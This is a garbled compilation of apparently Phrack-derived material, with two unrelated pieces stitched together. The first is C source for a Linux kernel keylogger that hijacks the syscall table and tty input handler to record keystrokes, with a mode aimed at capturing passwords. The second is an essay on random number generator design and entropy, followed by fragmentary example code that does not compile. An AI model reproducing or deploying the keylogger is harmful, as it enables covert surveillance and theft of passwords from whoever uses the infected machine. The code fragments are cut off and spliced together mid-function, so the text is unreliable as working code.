append_c(tmp, "[ALT-M]", 7);
break;
case 'n':
append_c(tmp, "[ALT-N]", 7);
break;
case 'o':
append_c(tmp, "[ALT-O]", 7);
break;
case 'p':
append_c(tmp, "[ALT-P]", 7);
break;
case 'q':
append_c(tmp, "[ALT-Q]", 7);
break;
case 'r':
append_c(tmp, "[ALT-R]", 7);
break;
case 's':
append_c(tmp, "[ALT-S]", 7);
break;
case 't':
append_c(tmp, "[ALT-T]", 7);
break;
case 'u':
append_c(tmp, "[ALT-U]", 7);
break;
case 'v':
append_c(tmp, "[ALT-V]", 7);
break;
case 'x':
append_c(tmp, "[ALT-X]", 7);
break;
case 'y':
append_c(tmp, "[ALT-Y]", 7);
break;
case 'z':
append_c(tmp, "[ALT-Z]", 7);
break;
}
break;
case 3:
switch(cp[2]) {
case 68:
// Left: 27 91 68
append_c(tmp, "[LEFT]", 6);
break;
case 67:
// Right: 27 91 67
append_c(tmp, "[RIGHT]", 7);
break;
case 65:
// Up: 27 91 65
append_c(tmp, "[UP]", 4);
break;
case 66:
// Down: 27 91 66
append_c(tmp, "[DOWN]", 6);
break;
case 80:
// Pause/Break: 27 91 80
append_c(tmp, "[BREAK]", 7);
break;
}
break;
case 4:
switch(cp[3]) {
case 65:
// F1: 27 91 91 65
append_c(tmp, "[F1]", 4);
break;
case 66:
// F2: 27 91 91 66
append_c(tmp, "[F2]", 4);
break;
case 67:
// F3: 27 91 91 67
append_c(tmp, "[F3]", 4);
break;
case 68:
// F4: 27 91 91 68
append_c(tmp, "[F4]", 4);
break;
case 69:
// F5: 27 91 91 69
append_c(tmp, "[F5]", 4);
break;
case 126:
switch(cp[2]) {
case 53:
// PgUp: 27 91 53 126
append_c(tmp, "[PgUP]", 6);
break;
case 54:
// PgDown: 27 91 54 126
append_c(tmp,
"[PgDOWN]", 8);
break;
case 49:
// Home: 27 91 49 126
append_c(tmp, "[HOME]", 6);
break;
case 52:
// End: 27 91 52 126
append_c(tmp, "[END]", 5);
break;
case 50:
// Insert: 27 91 50 126
append_c(tmp, "[INS]", 5);
break;
case 51:
// Delete: 27 91 51 126
append_c(tmp, "[DEL]", 5);
break;
}
break;
}
break;
case 5:
if(cp[2] == 50)
switch(cp[3]) {
case 48:
// F9: 27 91 50 48 126
append_c(tmp, "[F9]", 4);
break;
case 49:
// F10: 27 91 50 49 126
append_c(tmp, "[F10]", 5);
break;
case 51:
// F11: 27 91 50 51 126
append_c(tmp, "[F11]", 5);
break;
case 52:
// F12: 27 91 50 52 126
append_c(tmp, "[F12]", 5);
break;
case 53:
// Shift-F1: 27 91 50 53 126
append_c(tmp, "[SH-F1]", 7);
break;
case 54:
// Shift-F2: 27 91 50 54 126
append_c(tmp, "[SH-F2]", 7);
break;
case 56:
// Shift-F3: 27 91 50 56 126
append_c(tmp, "[SH-F3]", 7);
break;
case 57:
// Shift-F4: 27 91 50 57 126
append_c(tmp, "[SH-F4]", 7);
break;
}
else
switch(cp[3]) {
case 55:
// F6: 27 91 49 55 126
append_c(tmp, "[F6]", 4);
break;
case 56:
// F7: 27 91 49 56 126
append_c(tmp, "[F7]", 4);
break;
case 57:
// F8: 27 91 49 57 126
append_c(tmp, "[F8]", 4);
break;
case 49:
// Shift-F5: 27 91 51 49 126
append_c(tmp, "[SH-F5]", 7);
break;
case 50:
// Shift-F6: 27 91 51 50 126
append_c(tmp, "[SH-F6]", 7);
break;
case 51:
// Shift-F7: 27 91 51 51 126
append_c(tmp, "[SH-F7]", 7);
break;
case 52:
// Shift-F8: 27 91 51 52 126
append_c(tmp, "[SH-F8]", 7);
break;
};
break;
default: // Unknow
break;
}
}
/*
* Called whenever user press a key
*/
if (!tmp) {
DPRINT("erm .. unknow error???\n");
init_tty(tty, TTY_INDEX(tty));
tmp = ttys[TTY_INDEX(tty)];
if (!tmp)
return;
}
if (vlogger_mode == VK_SMARTMODE) {
if (tmp->status && !IS_PASSWD(tty)) {
resetbuf(tmp);
}
if (!tmp->pass && IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
}
if (tmp->pass && !IS_PASSWD(tty)) {
if (!tmp->lastpos)
logging(tty, tmp, 0);
resetbuf(tmp);
}
tmp->pass = IS_PASSWD(tty);
tmp->status = 0;
}
if (count == 1) {
if (cp[0] == VK_TOGLE_CHAR) {
if (!strcmp(tmp->buf, MAGIC_PASS)) {
if(vlogger_mode < 2)
vlogger_mode++;
else
vlogger_mode = 0;
reset_all_buf();
switch(vlogger_mode) {
case VK_DUMBMODE:
DPRINT("Dumb Mode\n");
TTY_WRITE(tty, "\r\n"
"Dumb Mode\n", 12);
break;
case VK_SMARTMODE:
DPRINT("Smart Mode\n");
TTY_WRITE(tty, "\r\n"
"Smart Mode\n", 13);
break;
case VK_NORMAL:
DPRINT("Normal Mode\n");
TTY_WRITE(tty, "\r\n"
"Normal Mode\n", 14);
}
}
}
switch (cp[0]) {
case 0x01: //^A
append_c(tmp, "[^A]", 4);
break;
case 0x02: //^B
append_c(tmp, "[^B]", 4);
break;
case 0x03: //^C
append_c(tmp, "[^C]", 4);
case 0x04: //^D
append_c(tmp, "[^D]", 4);
case 0x0D: //^M
case 0x0A:
if (vlogger_mode == VK_SMARTMODE) {
if (IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
} else
tmp->status = 1;
} else {
logging(tty, tmp, 0);
resetbuf(tmp);
}
break;
case 0x05: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x06: //^F
append_c(tmp, "[^F]", 4);
break;
case 0x07: //^G
append_c(tmp, "[^G]", 4);
break;
case 0x09: //TAB - ^I
append_c(tmp, "[TAB]", 5);
break;
case 0x0b: //^K
append_c(tmp, "[^K]", 4);
break;
case 0x0c: //^L
append_c(tmp, "[^L]", 4);
break;
case 0x0e: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x0f: //^O
append_c(tmp, "[^O]", 4);
break;
case 0x10: //^P
append_c(tmp, "[^P]", 4);
break;
case 0x11: //^Q
append_c(tmp, "[^Q]", 4);
break;
case 0x12: //^R
append_c(tmp, "[^R]", 4);
break;
case 0x13: //^S
append_c(tmp, "[^S]", 4);
break;
case 0x14: //^T
append_c(tmp, "[^T]", 4);
break;
case 0x15: //CTRL-U
resetbuf(tmp);
break;
case 0x16: //^V
append_c(tmp, "[^V]", 4);
break;
case 0x17: //^W
append_c(tmp, "[^W]", 4);
break;
case 0x18: //^X
append_c(tmp, "[^X]", 4);
break;
case 0x19: //^Y
append_c(tmp, "[^Y]", 4);
break;
case 0x1a: //^Z
append_c(tmp, "[^Z]", 4);
break;
case 0x1c: //^\
append_c(tmp, "[^\\]", 4);
break;
case 0x1d: //^]
append_c(tmp, "[^]]", 4);
break;
case 0x1e: //^^
append_c(tmp, "[^^]", 4);
break;
case 0x1f: //^_
append_c(tmp, "[^_]", 4);
break;
case BACK_SPACE_CHAR1:
case BACK_SPACE_CHAR2:
if (!tmp->lastpos) break;
if (tmp->buf[tmp->lastpos-1] != ']')
tmp->buf[--tmp->lastpos] = 0;
else {
append_c(tmp, "[^H]", 4);
}
break;
case ESC_CHAR: //ESC
append_c(tmp, "[ESC]", 5);
break;
default:
tmp->buf[tmp->lastpos++] = cp[0];
tmp->buf[tmp->lastpos] = 0;
}
} else { // a block of chars or special key
if (cp[0] != ESC_CHAR) {
while (count >= MAX_BUFFER) {
append_c(tmp, cp, MAX_BUFFER);
logging(tty, tmp, 1);
resetbuf(tmp);
count -= MAX_BUFFER;
cp += MAX_BUFFER;
}
void my_tty_open(void)
{
int fd, i;
char dev_name[80];
#ifdef LOCAL_ONLY
int fl = 0;
struct tty_struct * tty;
struct file * file;
#endif
BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd < 0) continue;
#ifdef LOCAL_ONLY
file = fget(fd);
tty = file->private_data;
if (tty != NULL &&
tty->ldisc.receive_buf != NULL) {
if (!fl) {
old_receive_buf =
tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
#endif
close(fd);
END_KMEM
}
#ifndef LOCAL_ONLY
for (i=0; i<MAX_PTS_CON; i++) {
snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd >= 0) close(fd);
END_KMEM
}
#endif
if (ttys[tty_index] == NULL) {
tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
if (!tmp) {
DPRINT("kmalloc failed!\n");
return;
}
memset(tmp, 0, sizeof(struct tlogger));
tmp->tty = tty;
tty->ldisc.receive_buf = new_receive_buf;
ttys[tty_index] = tmp;
} else {
tmp = ttys[tty_index];
logging(tty, tmp, 1);
resetbuf(tmp);
tty->ldisc.receive_buf = new_receive_buf;
}
}
if (ret >= 0) {
struct tty_struct * tty;
BEGIN_KMEM
lock_kernel();
file = fget(ret);
tty = file->private_data;
if (!fl) {
old_receive_buf = tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
unlock_kernel();
END_KMEM
}
return ret;
}
int init_module(void)
{
DPRINT(MVERSION);
#ifndef LOCAL_ONLY
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
#endif
my_tty_open();
// MOD_INC_USE_COUNT;
return 0;
}
DECLARE_WAIT_QUEUE_HEAD(wq);
void cleanup_module(void)
{
int i;
#ifndef LOCAL_ONLY
sys_call_table[__NR_open] = original_sys_open;
#endif
EXPORT_NO_SYMBOLS;
<-->
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
----| Introduction
----| Glossary
1.0) Overview
A variety of factors come into play when designing an RNG. It's output must
be undissernable from white noise, there must be no way of predicting any
portion of it, and there can be no way of finding previous or future
outputs based on any known outputs. If an RNG doesn't conform to this
criteria, it is not cryptographicaly secure.
To meet the first and second criteria, finding good sources of entropy is
an obligation. These sources must be unmoniterable by an attacker, and any
attempts by an attacker to manipulate the entropy sources should not make
them predictable or repetitive.
X-Position Y-Position
0000001011110101 0000000100101100 Only the last 9 bits of each
0000001000000001 0000000100001110 coordinate actualy appear
0000001101011111 0000001001101001 random.
0000001000100111 0000000111100100
0000001010101100 0000000011111110
0000000010000000 0000000111010011
0000001000111000 0000000100100111
0000000010001110 0000000100001111
0000000111010100 0000000011111000
0000000111100011 0000000100101010
X Y Timer XORed
1010 1001 00100110 01111111
0100 1100 00101010 00000110
0101 0010 01011111 01110101
1001 1100 10110000 11111100
0101 0100 11001110 11100010
0101 1100 01010000 01111100
1011 0000 01000100 00011100
0111 0111 00010111 00101000
0011 0101 01101011 01110110
0001 0001 11011000 11010001
Good entropy is gathered because 4bits from each coordinates represents a
change in 16 pixels in each direction rather than assuming a motion of
65536 can occur in all directions. The high-resolution timer is used as
well because although it is completly sequencial, it's last 8 bits will
have been updated very often during a few CPU clock cycles, thus making
those bits unmonitorable. An XOR is used to combine the entropy from the 2
sources because it has very the very good property of merging numbers in a
way that preserves the dependency of every bit.
The most common sources of entropy used all involve user interaction or
high-frequency clocks in one way, shape, or form. A hybrid of both is
always desirable. Latencies between user-triggered events (keystroke, disk
I/O, IRQs, mouse clicks) measured at high-precisions are optimal because
of the unpredictable nature of a user's behaviors and precise timing.
Some sources may seem random enough but are in fact not. Network traffic is
sometimes used but is unrecommended because it can be monitored and
manipulated by an outside source. Another pittfall is millisecond precision
clocks: they don't update frequently enough to be put to good use.
There are alternative methods for estimating the entropy. You could bias
entropy from a source to be of better quality if that source has not
supplied entropy for a period exceeding a certain interval. You can
accumulate large amounts of entropy in a buffer, compress it, and derive
an estimation from the compression ratio. Statistical tests comparing the
last input entropy with a large quantity of previous inputs doesn't do much
in terms of finding the current input's quality, but it gives the RNG an
oppertunity to reject inputs that increase statistical probability of the
group of entropy inputs.
The best approach to this is also a hybrid. One method of estimating
entropy quality usualy isn't enough. There are cases where an entropy
source can be assumed to provide a consistant quality of entropy however.
In these cases, a fixed size can be assigned to all entropy inputs from
that source, but carefull analysis should be done before this assumption
is made. It is wisest to calculate multiple estimates and assume the
smallest value to be the most accurate.
Mixing the contents of the entropy pool should neither sacrifice any of
the entropy within it nor be considered to add entropy to its state. If the
mixing function expands the pool, entropy estimation of its contents should
not change. Only the entropy gathering functions are responsible for
increasing entropy and are dealt with serperately.
The best candidates for mixing functions are hashing algorithms. The
hashing algorithm should accept any size input, and have a large sized
output that reflects the speed at which entropy is gathered, and have a
non-deterministic output. To preserve gathered entropy, the hashing
function should not input more entropy than the size of it's output. With
that said, if the hashing function outputs 160bits, it should not be input
more than 160bits prior to output. If the hashing algorithm is
cryptographically secure (which it should be) the output will yield the
same amount of entropy as the input. If the output is larger than the
input, the state of the pool cannot be assumed to have increased in
entropy.
There are several approaches to using large pools of entropy. One approach
implments a pool that is hashed linearly. For this method, you would need a
buffer that is concatinated with the last input of entropy. Hashing should
be started at the end of the buffer. The rest of the buffer should be
hashed, one chunk (the size of the output) at a time, each time XORing the
output with the output of the last block's hash to ensure the entire pool
is affected by the last input, without overwritting any previous entropy.
This is only an examplar method. Whichever procedure you choose, it should
meet all the criteria mentioned in the previous paragraphs.
Entropy pools are the key to preventing any previous or future outputs of
RNG from being predicted. Attacks against an RNG to determine previous and
future outputs are either based on knowledge of the entropy pool, entropy
inputs or previous outputs. The pool should be designed to prevent
knowledge of its current state from compromising any or all future
outputs. To do this, entropy pools should undergo a drastic change from
time to time by removing protions or all of its entropy. This is called
reseeding. Reseeding should _always_ replace the entropy that is removed
with fresh entropy before outputing. If the entropy is not replaced, the
pool will be in a severely weakened state. An RNG does not need to reseed,
but if it doesn't, it must have entropy added at a rate greater than the
RNG's output.
Reseeding should only occur after sufficient unused entropy has been
accumulated to fill a large portion of the pool, and the entropy estimation
of the pool should be adjusted to the estimated size of the input entropy.
Reseeding should not occur very often, and only based on the number of
bits output by the RNG and the size of the pool. A safe estimation on the
reseeding frequency of an RNG would be the after an 95% of the size of the
entropy input has been output. This estimate assumes that entropy is added
to the pool in between the RNG's outputs. If this is not the case,
reseeding should occur more frequently. The less entropy is input between
outputs, the better the chances that an attacker who has found one output
will find the previous output (which can cascade backwards after each
output is found).
1.5) Implementation
All the effort put into a well designed RNG is useless if it isn't properly
implemented. Three layers of the implemetation will be covered: media,
hardware/software, and usage of the output.
MEDIA RISK
------------------------------------
RAM <storage> 0 *&
Hard Drive <storage> 1 *&
Shared memory <transfer> 1 *&
Removable disks <transfer> 2
LAN <communication> 2 &
WAN <communication> 3
1.6) Analysis
There are many statistical tests available on the internet suitable for
testing randomness of data. Most require a large sample of data stored in
a file to derive significant results. A Probabilistic value is obtained
through statistical analysis of the sample. This value is usualy in the
form of P, a floating point number between 0 and 1. Tests are done in
various block sizes usualy between 8 and 32bits. P's precision varies from
one test to the next. A P value close to 0.5 is what is usualy desired.
When P is close to 0.5, probability is at it's midrange and there is no
incline towards either 0 or 1. An RNG is not weak because it has a value
close to 1 or 0. It can occur even with purely random data. If it were
impossible to obtain a value close to 0 or 1, the RNG would be flawed
anyway. This is because when data is completly random, all outputs are
equaly likely. This is why patterned outputs are possible. When P is less
then satisfactory, many new samples should be created and tested. If other
samples result in bad Ps then the RNG most likely has deterministic output
and should not be used. DieHard offers an armada of 15 tests that use P
values. Other tests describe there results with an integer and it's target.
The closer the integer is to its target the better. An example of this is
the Maurer Universal Statistics Test.
The problem with statistical tests is that any good PRNG or hashing
function will pass them easily without any entropy. Even if the output is
non-deterministic the RNG is only an RNG if it cannot be predicted. For
that reason, the RNG's entropy must be non-deterministic as well. Unless
the entropy source can be guarrentied to function properly, it is wise to
use the same tests on the raw entropy itself. By doing this you can achieve
a sufficient level of confidence about the randomness. A big speed-bump
stares you right in the eyes when you're trying to do this, however.
Entropy is often gathered at a very slow pace making the gathering of a
sufficiently large data sample extremely tedius and in some circumstances
it might not even be worthwhile. Whether this is the case or not, it is
logical to intellegently scrutinise entropy sources, rather than depending
on statistical tests (which cannot guarrenty anything) to find flaws (see
1.1).
A PRNG is seeded with initial zeros. The PRNG then outputs a value used to
calculate the length of the interval used. When the interval is triggered,
the mouse position is checked for movement. If the mouse has moved since
the last trigger the PC's high-frequency clock is queried for its current
value. The 4 least significant bits are XORed with the 4 least significant
bits of the mouse's x & y coordinates. A new interval is then calculated
from the PRNG. The 4 bits produced are concatenated until 32 bits are
gathered and output. The 32bits are concatenated to the an entropy buffer
and also used to update the PRNG that sets the interval. The process is
then repeated. If the mouse has not moved, a new interval is set and the
process repeats until is has moved. There is also a function that allows
the programmer to input 32bits of entropy at a time. This function is
suitable if there is a hardware entropy device or another known secure
source of entropy on a particular system. However, the use of another RNG's
output would be redundant if it is good and useless if it is bad.
There are 2 methods provided for the RNG's output: safe and forced. A safe
output makes sure the KeyReserve is not zeroed and decrements it after
output. A forced output ignores the KeyReserve. To output, the seed is
copied to a temporary buffer and is then permuted. The new seed is used a
key to initialize Rijndael (symmetric block cipher). The temporary buffer
is encrypted with Rijndael and then permuted with an expansion-compression
(the same way the seed is). This is repeated for N rounds (chosen by the
programmer) and the buffer is then output.
[1] The heavy relyance upon mouse movement could _starve_ the entropy pool
if the mouse is not in use for an extended period of time. However, a
counter prevents output when entropy is low.
[2] The programmer could forcefully input poor quality entropy and weaken
the RNG's internal state.
[4] Even though the pool's internal state is 762bits long, there is a
maximum of 256bits of entropy at any state. (The other bits are only there
to prevent back-tracking and to obfuscate the seed). That makes this RNG
only suitable when small amounts of secure random data are needed.
{WARNING: these are some of my personal opinions; take them with a grain of
salt}
Intel has chosen to eloquantly label its RNG as a TRNG (True Random Number
Generator), but then they go on to call it an RNG through the rest of the
paper. Thechnicaly there is no fundamental difference that sets it asside
from any other good RNG; it is a label for hype and has nothing to do with
its ability to produce random numbers (RNG==TRNG & TRNG==RNG). As for your
daily dose of corporate assurance: "The output of Intel RNG has completed
post-design validation with Cryptography Research Inc. (CRI) and the
Federal Information Processing (FIPS) Level 3 test for statistical
randomness (FIPS 140-1)." I find it reassuring that a company (CRI) has
analyzed and is supporting this RNG. That isn't something you see very
often. On the other hand FIPS140-1 is just another hype generator. After
reading FIPS140-1, one realises it has absolutely NOTHING to do with the
quality of the RNG, but hey! Who cares? Microsoft seems to think it's good
enough to use in their family of _high_quality_and_security_ products, so
it must be great. All kidding asside, despite the corporate stench, this
RNG is well designed and will prevent many RNG blunders such as Netscape's.
I think this is a step in the right direction. Rather than letting Joe,
Timmy his cousin, and Timmy's best friend's friend design their own RNGs,
they provide a good solution for everyone without having them trip on their
own feet like Netscape did.
No estimations are done for a few reasons. Because the entropy source is
hardware based, it cannot be manipulated unless it is put into temperatures
far beyond or bellow resonable ambient conditions, or the computer's power
is cut off (in which case the entropy gathering stops). Beyond that, all
entropy is gathered in the same way and can be assumed of identical
quality.
The Intel Security Driver takes care of mixing the RNG's output. The pool
is composed of 512bits of an SHA-1 hash contexts divided into two states.
An 80bit hash of the first state is generated and appended with 32 bits of
entropy (from the hardware) and the first 160bits from the first state to
create the second state. When another 32bits of entropy are generated, the
second state becomes the first state and the same process is repeated.
2.2.4) Intel RNG Output Function
The last 16bits of the 80bit hash of the first state are output to the
middleware. The Intel Security Driver ensures that each output is
dispatched only once. If desired, additional processing of the output will
have to be done by the program that requested the random data.
[2] The use of contracted middleware may lead to security holes. Before
using a company's middleware, you may want to wait a few months just to
see if a quick break is released.
External functions from the kernel trigger the addition of entropy into the
pool. Events that trigger this are key presses, mouse movement, and IRQs.
Uppon each trigger, 32bits of a high-frequency timer are copied, and
another 32bits are derrived depending on the type of trigger (either the
mouse coordinates, keybaord scancode, or IRQ number).
When output is requested from the RNG, the timer and the number of bytes
requested is added to the pool as entropy. The pool is then hashed with
SHA-1 and the first 2 words of the hash are fed as entropy into the pool;
this is repeated 8 times, but each time the next 2 words of the hash are
fed into the pool. The first half of the final hash is then XORed to its
second half to produce the output. The output is either the requested size
or 20 bytes (half the hash size); the smallest of these is chosen.
[2] There is allot of redundancy in the lower 16bits of the entropy added.
For example, when a keypress occurs a 32bit variable holds 16bits from a
high-resolution timer, and the lower 16 bits are 0-255 for the keypress
(256+ are used to designate interupts). This leaves 8bits of redundancy
for every keypress.
[3] The time elapsed since the last block of entropy was added is usually
irrelevent to the quality of the entropy, unless that lapse is very short.
This doesn't take into account sequencial entropy entries like continuous
disk access while moving a file.
[4] When output occurs, the mixing mechanism re-enters allot of hashed
entropy which may or may not be of good quality. These re-entered words
are added to the entropy count but should not. They are bits of entropy
that have already been counted. After output, 512bits of entropy are
redundantly entered. If this estimate is accurate, then after 8 calls to
output there are 4096bits (the entire pool) of entropy of undifinable
quality. Under these circumstances, if no entropy is input from
user-interacting during the calls, the RNG becomes a PRNG.
System hooks wait for keyboard or mouse events. If a key has been pressed,
the time elapsed since the last key-press is appended to an array. The same
is done when a mouse button has been pressed. If the mouse has moved, the
x and y coordinates are appended to a mouse movement array. Once an array
is full is is passed to the entropy estimation function.
When entropy is input, it is fed into a fast pool (SHA-1 context) and an
entropy estimate is updated for that pool. Once the pool has accumulated
100bits of entropy, the hash output of this pool is fed into the slow pool
and its entropy estimate is updated. When the slow pool has accumulated
160bits of entropy it's hash output becomes the current key.
When output is required, the current key (derived from the slow pool)
encrypts a counter (its number of bits is chosen by the programmer) and
outputs the ciphertext; the counter is then incremented. After 10 outputs,
the RNG reseeds the key by replacing it with another (forced) output. The
key will next be reseeded either when the slow pool has accumulated 160bits
or 10 outputs have occured.
[1] Mouse movement on its own is very redundant, there is a very limited
range of motion between the last postion and the current position after
the OS has sent the message that the mouse has moved. Most of the bits
representing the mouse's position are unlikely to change and throw-off the
entropy estimates in this RNG.
[2] Even though the pool's internal state is 320+n+kbits long, there is a
maximum of 160bits of entropy during any state. "Yarrow-160, our current
construction, is limited to at most 160 bits of security by the size of
its entropy accumulation pools." *4
The Following source code is simply a brief example. Do whatever you want
with it; even that thing you do with your tongue and the rubber ... never
mind. It _WILL_NOT_COMPILE_ because about 1,200 lines have been omitted,
consisting of Haval, Rijndael and the PRNG). Haval and Rijndael source
code is readily available. Any PRNG will do, but make sure it works with
32bit inputs and outputs and has a period of at least 2^32 (4294967296).
I've devided it into 3 chunks: entropy gathering, entropy pool, output
functions.
[ENTROPY GATHERING]
#define MOUSE_INTERVAL 10
{
Prng_CTX PCtx;
int x,y;
unsigned long Block;
unsigned long BitsGathered;
int65 Interval,Frequency,ThisTime,LastTime;
[ENTROPY POOL]
#define SEED_SIZE 8
#define PRIMARY_RESEED 8
#define SECONDARY_RESEED 8
//parameters
#define MAX_KEY_RESERVE 8
#define KEY_BUILD_ROUNDS 16
Key256 Seed;
Key256 EntropyBuffer;
Haval_CTX PrimaryPool;
Haval_CTX SecondaryPool;
unsigned char PrimaryReseedCount;
unsigned char EntropyCount;
unsigned char KeyReserve;
//FUNCTIONS
void NoiseSpungeInit
{
HavalInit(&PrimaryPool);
HavalInit(&SecondaryPool);
for (int i=0;i<8;i++) Seed[i]=0;
EntropyCount=0;
PrimaryReseedCount=0;
KeyReserve=0;
}
void PermuteSeed
{
Key256 TempBuffer[2];
Prng_CTX PCtx;
Haval_CTX HCtx;
HavalInit(&HCtx);
HavalUpdate(&HCtx,&TempBuffer,64); //compress
HavalOutput(&HCtx,&Seed);
}
void PrimaryReseed
{
Key256 TempSeed;
HavalUpdate(&PrimaryPool,&EntropyBuffer,32);
if (PrimaryReseedCount<SECONDARY_RESEED)
{
HavalOutput(&PrimaryPool,&TempSeed);
for (int i=0;i<SEED_SIZE;i++) Seed[i]^=TempSeed[i];
PrimaryReseedCount++;
} else SecondaryReseed;
void SecondaryReseed
{
HavalOutput(&PrimaryPool,&Seed);
HavalUpdate(&SecondaryPool,&Seed,32);
HavalOutput(&SecondaryPool,&Seed);
PermuteSeed;
HavalInit(&PrimaryPool);
PrimaryReseedCount=0;
}
[OUTPUT FUNCTIONS]
if (KeyReserve==0) Return 0;
----| 4) References